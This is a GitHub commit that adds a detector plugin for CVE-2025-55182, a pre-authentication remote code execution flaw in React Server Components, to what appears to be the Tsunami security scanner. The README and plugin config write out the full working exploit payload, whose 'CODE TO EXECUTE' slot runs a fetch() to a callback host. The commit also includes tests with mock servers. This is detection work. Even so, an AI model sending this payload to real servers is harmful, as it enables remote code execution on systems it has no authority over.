Skip to content

Commit 107447f

Browse files
magl0copybara-github
authored andcommitted
Add detector for CVE_2025_55182.
PiperOrigin-RevId: 840531449 Change-Id: I9666ec1156dc6cfb5f358c9acf8e27be179ee06f
1 parent 43c7acf commit 107447f

File tree

3 files changed

+150
-0
lines changed

3 files changed

+150
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# ReactServerComponents CVE-2025-55182 Plugin
2+
3+
This plugin attempts to exploit CVE-2025-55182. To regenerate the payload sent
4+
as part of the exploit run the following script in a NodeJS REPL:
5+
6+
CREDIT: thank you **Lachlan Davidson** (https://github.com/lachlan2k) for
7+
sharing the POC.
8+
9+
```js
10+
const payload = {
11+
0: "$1",
12+
1: {
13+
status: "resolved_model",
14+
reason: 0,
15+
_response: "$4",
16+
value: '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
17+
then: "$2:then",
18+
},
19+
2: "$@3",
20+
3: [],
21+
4: {
22+
_prefix: "fetch(\"http://tsunami_call_back\")//", // CODE TO EXECUTE
23+
_formData: {
24+
get: "$3:constructor:constructor",
25+
},
26+
_chunks: "$2:_response:_chunks",
27+
},
28+
};
29+
30+
const fd = new FormData();
31+
for (const key in payload) {
32+
fd.append(key, JSON.stringify(payload[key]));
33+
}
34+
35+
new Response(fd).text().then(t => console.log(JSON.stringify(t)));
36+
```
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "ReactServerComponents_CVE_2025_55182"
11+
author: "Tsunami Team ([email protected])"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE-2025-55182"
19+
}
20+
severity: CRITICAL
21+
title: "React Server Components Pre Auth RCE (CVE-2025-55182)"
22+
description: "A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints."
23+
recommendation: "Update React Server Components to the latest version."
24+
related_id: {
25+
publisher: "CVE"
26+
value: "CVE-2025-55182"
27+
}
28+
}
29+
30+
config: {}
31+
32+
###########
33+
# ACTIONS #
34+
###########
35+
36+
actions: {
37+
name: "cve_2025_55182_trigger_code_execution"
38+
http_request: {
39+
client_options: {
40+
ignore_http_client_errors: true
41+
}
42+
method: POST
43+
uri: "/"
44+
headers: [
45+
{ name: "next-action" value: "x" },
46+
{ name: "content-type" value: "multipart/form-data; boundary=----formdata-undici-009352106678" }
47+
]
48+
# Executed payload: `fetch("{{tsunami_callback_endpoint}}").then(r => r.text()).then(t => console.log(t))`
49+
# CREDIT: thank you Lachlan Davidson (https://github.com/lachlan2k) for sharing the POC.
50+
data: "------formdata-undici-009352106678\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------formdata-undici-009352106678\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$4\",\"value\":\"{\\\"then\\\":\\\"$3:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------formdata-undici-009352106678\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------formdata-undici-009352106678\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n[]\r\n------formdata-undici-009352106678\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n{\"_prefix\":\"fetch(\\\"{{ T_CBS_URI }}\\\").then(r => r.text()).then(t => console.log(t))//\",\"_formData\":{\"get\":\"$3:constructor:constructor\"},\"_chunks\":\"$2:_response:_chunks\"}\r\n------formdata-undici-009352106678--\r\n"
51+
}
52+
}
53+
actions: {
54+
name: "check_callback_server_logs"
55+
callback_server: { action_type: CHECK }
56+
}
57+
58+
#############
59+
# WORKFLOWS #
60+
#############
61+
62+
workflows: {
63+
condition: REQUIRES_CALLBACK_SERVER
64+
actions: [
65+
"cve_2025_55182_trigger_code_execution",
66+
"check_callback_server_logs"
67+
]
68+
}
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "ReactServerComponents_CVE_2025_55182"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsTrue"
10+
expect_vulnerability: true
11+
12+
mock_callback_server: {
13+
enabled: true
14+
has_interaction: true
15+
}
16+
17+
mock_http_server: {
18+
mock_responses: [
19+
{
20+
uri: "/"
21+
status: 200
22+
body_content: ""
23+
}
24+
]
25+
}
26+
}
27+
28+
tests: {
29+
name: "whenNoCallback_returnsFalse"
30+
expect_vulnerability: false
31+
32+
mock_callback_server: {
33+
enabled: true
34+
has_interaction: false
35+
}
36+
37+
mock_http_server: {
38+
mock_responses: [
39+
{
40+
uri: "/"
41+
status: 404
42+
body_content: "[Error: Failed to find Server Action \"x\". This request might be from an older or newer deployment.\nRead more: https://nextjs.org/docs/messages/failed-to-find-server-action]"
43+
}
44+
]
45+
}
46+
}

0 commit comments

Comments
 (0)